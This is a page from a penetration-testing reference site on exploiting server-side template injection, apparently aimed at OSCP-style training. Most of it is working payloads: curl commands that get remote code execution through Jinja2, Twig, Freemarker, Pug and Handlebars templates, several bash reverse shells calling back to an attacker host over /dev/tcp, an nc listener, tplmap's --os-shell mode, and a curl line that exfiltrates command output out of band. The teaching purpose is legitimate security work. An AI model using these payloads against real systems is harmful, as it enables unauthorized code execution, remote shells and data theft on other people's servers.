# SSTI Exploitation

> Exploit Server-Side Template Injection vulnerabilities to achieve RCE by identifying template engines, crafting payloads, and escaping sandbox restrictions.

- **URL:** https://hackindex.io/services/web/exploitation/ssti-exploitation
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-03-28
- **Updated:** 2026-08-12

SSTI exploitation uses the template engine's access to language internals to execute OS commands. The payload depends entirely on the engine identified during [SSTI detection](https://hackindex.io/services/web/vulnerability-discovery/ssti-detection). Jinja2 (Python), Twig (PHP), and Freemarker (Java) each require different payload chains to reach OS execution.

- **Jinja2 (Python)** walks the object hierarchy through `config.__class__` or string subclasses to reach os.popen.
- **Twig (PHP)** abuses `registerUndefinedFilterCallback` on 1.x, and `filter`/`map` functions on 2.x/3.x to call system functions.
- **Freemarker (Java)** instantiates `freemarker.template.utility.Execute` for direct command execution.
- **Pug (Node.js)** evaluates JavaScript expressions in `#{}` interpolation, reaching `child_process` through `require`.
- **Handlebars (Node.js)** chains helper lookups through the constructor prototype to reach `require` and execute code.
- **Mustache** is logic-less and cannot execute code, but section injection can leak internal data.
- **tplmap** automates detection and exploitation across all major template engines.

Engine identification is not optional. A Jinja2 payload sent to a Twig app returns an error or empty output. Confirm the engine before crafting any chain. URL-encode payloads in GET parameters. Curly braces, quotes, and angle brackets break requests if sent raw. Use `--data-urlencode` with curl or a dedicated encoder to avoid silent failures.

## Jinja2: Python RCE

Jinja2 runs in Python context. The payload walks the Python object hierarchy to reach the os module and execute commands. Confirm Jinja2 first with `{{7*'7'}}` returning `7777777`:

The first payload uses `config`, which Flask exposes in the template namespace. It reaches the `os` module through the class's global dictionary. The second payload uses Python string subclasses to locate `subprocess.Popen` without relying on `config`. Use the second approach when the app is not Flask or when `config` is not available in the template context.

```bash
curl -sk "http://$TARGET_IP:$PORT/page?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```bash
curl -sk "http://$TARGET_IP:$PORT/page?name={{''.__class__.__mro__[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate()[0].decode()}}"
```

The subclasses index varies by Python version. If 408 does not work, enumerate to find the subprocess.Popen class. Fetch the full subclasses list, then search for `Popen` and count its position in the comma-separated output to get the correct index. Imported packages like `requests`, `flask`, or `sqlalchemy` add their own subclasses and shift the index. On Python 3.9 the index is often lower than on 3.11.

```bash
curl -sk "http://$TARGET_IP:$PORT/page?name={{''.__class__.__mro__[1].__subclasses__()}}" | grep -o 'Popen'
```

## Jinja2: Reverse Shell

A reverse shell gives interactive access instead of blind command output. Use this when the app truncates output or renders it partially. Start the listener before sending the payload. The bash redirect payload must be URL-encoded to survive transport. Pass the full payload as a named parameter using `--data-urlencode` so curl handles encoding automatically.

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"').read()}}"
```

## Twig: PHP RCE

Twig runs in PHP context. Use the _self object to access the Twig environment and call PHP system functions. This technique works against Twig 1.x. Twig 2.x and 3.x introduced a sandbox that blocks `registerUndefinedFilterCallback`. If the payload returns empty output, the app likely runs Twig 2+ with sandbox mode enabled. Look for version clues in error messages or `X-Powered-By` headers. Symfony applications default to Twig and are a common target.

```bash
curl -sk "http://$TARGET_IP:$PORT/page?name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```bash
curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"')}}"
```

### Twig 2.x and 3.x

Twig 2.x removed direct access to `_self.env` and sandboxed `registerUndefinedFilterCallback`. The `filter` and `map` functions bypass this by calling arbitrary PHP functions on array elements. `filter` works on Twig 2.x and 3.x. `map` is available from Twig 2.12 onward. Both pass each array element as the first argument to the callback function.

```bash
curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{['id']|filter('system')}}"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```bash
curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{['id']|map('system')}}"
```

For a reverse shell on Twig 2.x/3.x, replace the command string inside the array. URL-encode the full payload when sending through a GET parameter.

```bash
curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name={{['bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"']|filter('system')}}"
```

## Freemarker: Java RCE

Freemarker runs in Java context and uses the freemarker.template.utility.Execute class for command execution. Freemarker appears in Jenkins pipelines, Confluence, and Spring-based Java applications. The output shows the process user. On Tomcat, expect a `tomcat` service account. On Jenkins, expect the user running the build agent process. If the `Execute` class is unavailable, the application may restrict it in its Freemarker configuration. Try `freemarker.template.utility.ObjectConstructor` as an alternative path to instantiate classes with execution capabilities.

```bash
curl -sk "http://$TARGET_IP:$PORT/page?name=<#assign ex='freemarker.template.utility.Execute'?new()>\${ex('id')}"
# uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
```

## Pug (Jade): Node.js RCE

Pug (formerly Jade) is a Node.js template engine used in Express applications. Injection points accept JavaScript expressions directly inside `#{}` interpolation. The detection payload `#{7*7}` returning 49 confirms Pug. Access the `child_process` module through `global.process.mainModule.require` to execute OS commands.

```bash
curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name=#{global.process.mainModule.require('child_process').execSync('id').toString()}"
# uid=1000(node) gid=1000(node) groups=1000(node)
```

For a reverse shell, pipe the bash payload through `execSync`. Some Pug configurations restrict access to `global`. If the payload fails, try `process.mainModule.require` without the `global` prefix.

```bash
curl -sk "http://$TARGET_IP:$PORT/page" --get --data-urlencode "name=#{global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"').toString()}"
```

## Handlebars: Node.js RCE

Handlebars is a logic-less template engine for Node.js. Standard expressions like `{{7*7}}` return the literal string, not an evaluated result. RCE requires abusing helper lookup chains to reach `require` through the constructor prototype. This payload works when the Handlebars template is compiled with `noEscape: true` or when the application does not use `SafeString`. The payload is long because it walks from a string helper through `Function` constructor to build and execute arbitrary code.

```
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

Send the payload URL-encoded through curl. Remove the whitespace and newlines before sending. The output contains the command result inline in the rendered page. If the application uses a recent Handlebars version (4.7.7+) with prototype access restrictions, the `lookup` call returns undefined and the chain breaks. Check the Handlebars version in `package.json` or error messages to determine feasibility.

## Mustache: No RCE

Mustache is a logic-less template engine available in Ruby, JavaScript, Python, and other languages. It evaluates `{{variable}}` tags but does not support arbitrary expressions, function calls, or code execution. `{{7*7}}` returns empty output or the literal string, not 49. Mustache sections (`{{#section}}`) iterate or conditionally render based on data context but cannot call functions. This makes direct RCE impossible through Mustache injection alone. The impact is limited to data leakage: injecting section tags to iterate over internal data structures and expose values not intended for the current context. If the template context contains sensitive objects (API keys, database records, user lists), section injection can render those values into the response.

## tplmap for Automated Exploitation

tplmap detects and exploits SSTI automatically across Jinja2, Twig, Freemarker, and other engines. Use it to confirm exploitability quickly in lab environments. Automated exploitation tools are not permitted in the OSCP exam. Use the manual payloads above in exam contexts.

```bash
tplmap -u "http://$TARGET_IP:$PORT/page?name=test" --os-shell
```

```bash
tplmap -u "http://$TARGET_IP:$PORT/page?name=test" --os-cmd id
```

If all payloads fail, check whether the application encodes or strips special characters before they reach the template engine. WAFs often block `{{` and `__class__`. Try alternative encoding schemes or payload variations that avoid blocked strings. When command output does not appear in the response, the execution may still succeed. Use an out-of-band channel to confirm. Include a DNS or HTTP callback in the command, such as `curl http://$LHOST/?x=$(id|base64)`, to exfiltrate output over HTTP and verify code execution blindly.

## References

- [tplmap](https://github.com/epinna/tplmap) - Automated SSTI exploitation supporting Jinja2, Twig, Freemarker, and others
- [PayloadsAllTheThings: SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) - Engine-specific payload chains for RCE
